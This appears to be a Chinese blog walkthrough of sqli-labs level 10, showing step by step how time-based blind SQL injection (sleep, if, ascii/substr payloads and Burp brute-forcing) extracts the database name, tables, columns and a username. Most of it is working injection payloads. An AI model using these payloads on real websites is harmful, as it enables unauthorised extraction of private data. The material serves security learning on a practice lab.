第一步判断闭合点,有一个好方法
找到闭合的好方法,拼接?id=1” and sleep(3)--+,如果成功就会睡眠三秒,一般的闭合方式也是?id=1’ ?id=1’) ?id=1’)) ?id=1” ?id=1”) ?id=1”)),挨个试很容易找到
第二步判断回显点,判断网页中哪些字段回显在页面
拼接?id=1" and sleep(3) order by 3--+网页会睡眠三秒,拼接?id=2" and sleep(3) order by 4--+
没有反应所以字段数为3
第三步猜数据库长度
使用if()函数判断数据库长度,拼接?id=1” and if(length(database())>7,sleep(3),1)--+
这句话意思是if数据库长度大于7为真,则返回sleep(3),睡眠三秒,<7也就是为假则返回1
判断出数据库长度大于7
拼接?id=1” and if(length(database())=8,sleep(3),1)--+ 数据库长度为8
第四步用ASCII值猜数据库名字
拼接?id=1" and if(ascii(substr(database(),1,1))>117,sleep(3),1)--+,页面睡眠了三秒
用burp爆破一下
可以看到 时间延迟的就是结果,对照ASCII码表第一个115-s,第二个101-e,第三个99-c,第四个117-u,第五个114-r,第六个105-i,第七个116-t,第八个121-y,所以数据表名字为security。
第五步猜表名长度
第四个表的长度,拼接?id=1" and if(length((select table_name from information_schema.tables where table_schema=database()limit 3,1))>4,sleep(3),1)--+
用burp爆破一下使用语句为?id=1" and if(length((select table_name from information_schema.tables where table_schema=database()limit 3,1))=5,sleep(3),1)--+
这里爆破时候把limit3,这个3设置变量时候可以设置范围0-3,四个表就全爆破出来了
可以看到0-6,第一个表长度为6. 1-8,第二个表长度为8 2-7,第三个表长度为7
3-5,第四个表长度为5 这里limit3,1意思是从第三个表开始数选取一个表就是第四个表
所以爆破表的个数为0-3,也就是第一个表到第四个表
第六步判断表名
拼接 ?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)--+
用burp爆破语句:?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(5),1)--+
结果为: 1-117 2-115 3-101 4-114 5-115 第四个表表名为users
第七步判断列长度
拼接 ?id=1" and if(length((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 1,1))>7,sleep(3),1)--+
爆破一下
第一个列长度为 2 第二个列长度为8 第三个列长度为8
第八步判断列名
拼接?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),1,1))>116,sleep(3),1)--+
拼接 ?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))=117,sleep(3),1)--+爆破
limlit 1,1为第二个表,长度为8所以爆破1变量为1-8
1-117 2-115 3-101 4-114 5-110 6-97 7-109 8-101 所以列名为username
第九步判断列字段内容长度
拼接 ?id=1" and if(length((select username from users limit 1,1))>3,sleep(3),1)--+
所以username这个列长度为8
看username列字段的ASCII码值,爆破语句:?id=1" and if(ascii(substr((select username from users limit 1,1),1,1))=65,sleep(3),1)--+
1-65 2-110 3-103 4-101 5-108 6-105 7-110 8-97
angelina
username第二个字段内容为angelina
十题结束,我还会继续更新1-20关卡,如果大家觉得好的话,能小小的关注一下吗,有不会burpsuite,我可以详细写